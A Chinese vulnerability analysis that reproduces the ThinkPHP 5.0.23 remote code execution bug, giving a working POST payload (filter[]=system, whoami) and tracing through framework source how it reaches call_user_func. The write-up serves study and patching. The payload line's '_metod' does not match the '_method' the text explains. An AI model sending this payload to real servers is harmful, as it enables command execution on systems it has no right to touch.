ThinkPHP5 5.0.23复现
ThinkPHP 5.0.23 远程代码执行
ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能导致用户可以调用任意类的任意方法,最终导致远程代码执行漏洞的产生。受影响的版本包括5.0和5.1版本(
v5.0.23
及v5.1.31
以下版本)
在复现之前先简单看看ThinkPHP的生命周期,了解ThinkPHP是如何处理请求、路由、返回数据。
漏洞复现
以ThinkPHP 5.0.23为例
未开启Debug模式
POST /index.php?s=captcha HTTP/1.1
Host: localhost:8080
Content-Length: 84
Cache-Control: max-age=0
_metod=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
漏洞环境
- PHP7.3
- Apache2.0
- ThinkPHP 5.0.23
- PhpStorm Pro
- Xdebug
漏洞分析
提交Payload
run方法
在run()
方法下断点,F7跟进
主要看路由函数
当程序进入run()
函数,先一顿初始化,比如说$request
、$config
....
因为默认self::$dispatch == null
是没有调度信息的,所以程序会进入self::routeCheck($request, $config);
,返回一个$dispatch
调度信息,包含路由地址方式、模块、控制器、方法等等,跟进Look Look
public static function run(Request $request = null)
{
......
$config = self::initCommon();
// 加载默认全局过滤方法, 默认是空的,这个变量是这次漏洞的关键
$request->filter($config['default_filter']);
...
// 监听 app_dispatch
Hook::listen('app_dispatch', self::$dispatch);
// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
......
$data = self::exec($dispatch, $config);
}
URL路由检测 -> routeCheck()
该函数根据PATH_INFO
进行URL路由检测,首先会根据$request
对象获取到请求路径,因为Payload请求的URL为?s=captcha
路由,而s
是ThinkPHP中的PATHINFO
变量名 用于兼容模式,通过$request->path()
函数,获取到path
获取配置文件中定义的PATH_INFO
分隔符,默认为 /
然后进行路由检测,判断self::$routeCheck
是否为null
,若为null
加载配置文件的url_route_on
,该值默认为true
,说明默认开始路由
进入了判断,判断是否存在路由缓存文件,默认是没有开启路由解析缓存,所以程序读取配置文件的route_config_file
所配置的路由文件,默认有一个route
值,拼接上路径与后缀,最后路径为D:phpEnvwwwlocalhosttppublic/../application/route.ph
继续往下看
Route::check()函数
程序执行了Route::check(...);
,函数会根据不同的路由定义返回不同的URL调度,跟进查看
Route::check()
函数,截取部分
// thinkphp/library/think/Route.php
public static function check($request, $url, $depr = '/', $checkDomain = false)
{
.....
$method = strtolower($request->method()); // 漏洞形成主要原因
// 获取当前请求类型的路由规则
$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];
.....
if (!empty($rule['route']) && self::checkOption($rule['option'], $request)) {
self::setOption($rule['option']);
return self::parseRule($item, $rule['route'], $url, $rule['option']);
}
}
.....
}
当程序执行到 $method = strtolower($request->method());
时,这个关键点,Debug进去
$request->method()函数
request类的method方法(文件路径:thinkphp/library/think/Request.php
),根据注释,可以知道该函数是用来获取原始请求类型的,因为check
函数里面调用method
的时候没有添加参数,所以$method
的值默认为false
正因如此,程序会判断$_POST
中是否存在配置文件中var_method
的值的参数,这个常量被称作"表单请求类型伪装变量",默认值为_method
,因为在POST的Payload中,构造了_method
这个参数,接下来就可以继续往下执行了
$this->method = strtoupper($_POST[Config::get('var_method')]) == $_POST['_method'] = __construct`;
$this->{$this->method}($_POST) == $this->__construct($_POST);
这两行就是这个漏洞形成的主要地方,$_POST
值可由用户控制,添加一个_method
参数,值可以为Request
类的任意函数,就可完成对该类的任意方法的调用,而这个漏洞利用了Request
类中的__construct
构造函数,其传入的参数即对应的$POST
数组,对Request
对象的属性进行覆盖,才形成了远程代码执行漏洞
看看__construct
这个函数
// thinkphp/library/think/Request.php #135
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
.....
}
这个构造函数中,主要对$option
数组进行遍历,当$option
的键名为该类属性时,则将该类同名属性赋值为$option
中该键对应的值,而现在也就是传进入的$_POST
数组遍历,利用这个函数,把该类属性名为:filter
、server[REQUEST_METHOD]
、method
的值覆盖,其中
$this->filter
保存着全局过滤规则方法列表,将他覆盖为我们最终想要执行的函数,例如:system
server[REQUEST_METHOD]
后面在路由到方法会提到
method
,是因为需要获取到captcha
验证码模块的路由信息
经过覆盖,相关变量变为
object(think\Request)[2]
protected 'method' => string 'get' (length=3)
protected 'server' =>
array (size=1)
'REQUEST_METHOD' => string 'whoami' (length=6)
protected 'filter' =>
array (size=1)
0 => string 'system' (length=6)
最终,Routch::check()
函数中调用了$request->method()
返回了值为$this->method
也就是被Payload覆盖了的值get
注意我们请求的路由是?s=captcha
,它对应的注册规则为\think\Route::get
,位于vendor/topthink/think-captcha/src/helper.php
。在method
方法结束后,返回的$this->method
值应为get
这样才能不出错,所以Payload中有个method=get
接下来就是获取captcha
的路由信息
在self::reules
这个数组中,已经注册了所有的用到的路由,例如我们请求URL中的captcha
验证码模块的路由,以及默认路由hello
self::checkRoute()函数
然后运行到路由规则检测,又调用了一个self::checkRoute()
函数
// thinkphp/library/think/Route.php #886
// 路由规则检测
if (!empty($rules)) {
return self::checkRoute($request, $rules, $url, $depr);
}
// thinkphp/library/think/Route.php #1202
if (false !== $match = self::match($url, $rule, $pattern)) {
// 匹配到路由规则
return self::parseRule($rule, $route, $url, $option, $match);
}
跟入函数,调用了self::checkRule()
函数,最终调用了parseRule
函数进行匹配路由规则,决定了后面的路由地址方式。
ThinkPHP5 中支持 5种 路由地址方式定义:
定义方式 | 定义格式 |
---|---|
方式1:路由到模块/控制器 | ‘[模块/控制器/操作]?额外参数1=值1&额外参数2=值2…’ |
方式2:路由到重定向地址 | ‘外部地址’(默认301重定向) 或者 [‘外部地址’,’重定向代码’] |
方式3:路由到控制器的方法 | ‘@[模块/控制器/]操作’ |
方式4:路由到类的方法 | ‘完整的命名空间类::静态方法’ 或者 ‘完整的命名空间类@动态方法’ |
方式5:路由到闭包函数 | 闭包函数定义(支持参数传入) |
captcha
的路由信息为
captcha
模块的路由定义格式符合方式3:路由到控制器的方法,所以最终会匹配到路由到方法
最终App.php
中Route::check()
函数运行的$result
的结果为
array (size=3)
'type' => string 'method' (length=6)
'method' =>
array (size=2)
0 => string '\think\captcha\CaptchaController' (length=32)
1 => string 'index' (length=5)
'var' =>
array (size=0)
empty
而这个$result
最终返回到run()
中的$dispatch
,这个就是这次请求的通过路由,经由各种替换整合得到的调度信息,包含了,回调类型Type、控制器路径、操作、参数
现在,程序又回到的App.php
的run
方法中了,运行到了 $data = self::exec($dispatch, $config);
这个方法。同样点进去看看
App.php -> exec()函数
self::exec
函数执行的是调用分发,根据调度信息、配置信息
// thinkphp/library/think/App.php #445
protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
case 'redirect': // 重定向跳转
.....
case 'module': // 模块/控制器/操作
.....
case 'controller': // 执行控制器操作
.....
case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
case 'function': // 闭包
.....
case 'response': // Response 实例
.....
default:
throw new \InvalidArgumentException('dispatch type not support');
}
return $data;
}
根据$dispatch
调度信息中的type
进行分发,通过上面我们知道,现在type
是"method",所以程序会执行
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
array_merge
把两个数组合并为一个数组
Request.php——param()函数
先来看看Request::instance()->param()
代码,实例化一个Request
对象,调用param()
方法
文件位于:thinkphp/library/think/Request.php #635
默认$this->mergeParam
为false
, 所以判断成立,通过method
函数,传递true
值,获取请求类型
再一次浏览一下method
函数
传入的值为true
,调用$this->server()
,传了一个值为'REQUEST_METHOD'
的字符串,跟进去
Request.php——server()函数
// thinkphp/library/think/Request.php #863
public function server($name = '', $default = null, $filter = '')
{
if (empty($this->server)) {
$this->server = $_SERVER;
}
if (is_array($name)) {
return $this->server = array_merge($this->server, $name);
}
return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}
首先进行了两个判断,第一个判断$this->server
是否为空,这时候我们要知道,Payload中构造了一个server['REQUEST_METHOD']
的参数,上面在利用构造函数__construct
进行对$_POST
遍历,属性覆盖的时候,我们已经把$this->server
覆盖为一个array
protected 'server' =>
array (size=1)
'REQUEST_METHOD' => string 'whoami' (length=6)
好了,现在两个判断都不成立,程序直接返回$this->input()
函数执行的结果,传递的参数有
- $this->server --> array
- $name 也就是 method函数调用server函数时传递的'REQUEST_METHOD'字符串
- $default = null
- $filter = ''
下面就来看看input
这个函数
Request.php——input函数
// thinkphp/library/think/Request.php #1000
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
} else {
$type = 's';
}
// 按.拆分成多维数组进行判断
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val]; // 通过这里截取到了POST请求中的server['REQUEST_METHOD']的值
} else {
// 无输入数据,返回默认值
return $default;
}
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
.....
} else {
$this->filterValue($data, $name, $filter);
}
....
return $data;
}
运行到按.
拆分多为数组的时候,因为$name
的值为REQUEST_METHOD
,拆分之后仍然还有REQUEST_METHOD
,$data
是$this->server
的array,因为Payload提交了一个server['REQUEST_METHOD']
,并通过了前面的构造函数覆盖了,所以,$data[$val]
就相当于$this->server['REQUEST_METHOD']
,并且值也是用户可以控制的,在这$data
变为了我们Payload中$this->server['REQUEST_METHOD']
的值whoami
Request.php——getFilter()函数
来到了重点,解析过滤器,这玩意首先调用$this->getFilter
函数获取一个过滤函数进行对参数过滤,跟踪进去查看源码
因为传进去的两个值都为空,所以最终返回的$filter
数组是由$this->filter
决定的,而这个值同样在利用构造函数中根据用户构造的请求参数中进行覆盖,所以这里返回用户构造的$this->filter
数组,里面含system
函数
回到input
函数,已经获取到了$filter
函数,继续分析
以为$data
是一个字符串,所以程序会执行$this->filterValue
函数,传递参数
- $data --> 'whoami'
- $name --> 'REQUEST_METHOD'
- $filter --> array ['system',...]
跟踪filterValue
函数
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
...
...
...
这里就是代码执行的最终地方,遍历$filter
数组,调用用户指定的函数
$value = call_user_func($filter, $value);
最终把执行的结果返回到浏览器
最后,回想一下整个流程,攻击者通过指定路由,构造POST
请求参数,利用ThinkPHP在获取请求类型中,获取用户提交的$_POST
的参数,构造函数,而这些参数是用户可控的,导致用户可以构造该类的任意函数,而这个漏洞构造了__construct
函数进行对类的任意属性进行覆盖,通过覆盖filter
函数,通过param
函数,借助对参数进行过滤的操作,而过滤函数是攻击者可以控制的,最后执行了call_user_func
函数,执行了攻击者指定的函数与参数值,最后导致远程代码执行。
程序调用栈
官方补丁
官方的修复方法:在method
获取请求方法中,进行白名单校验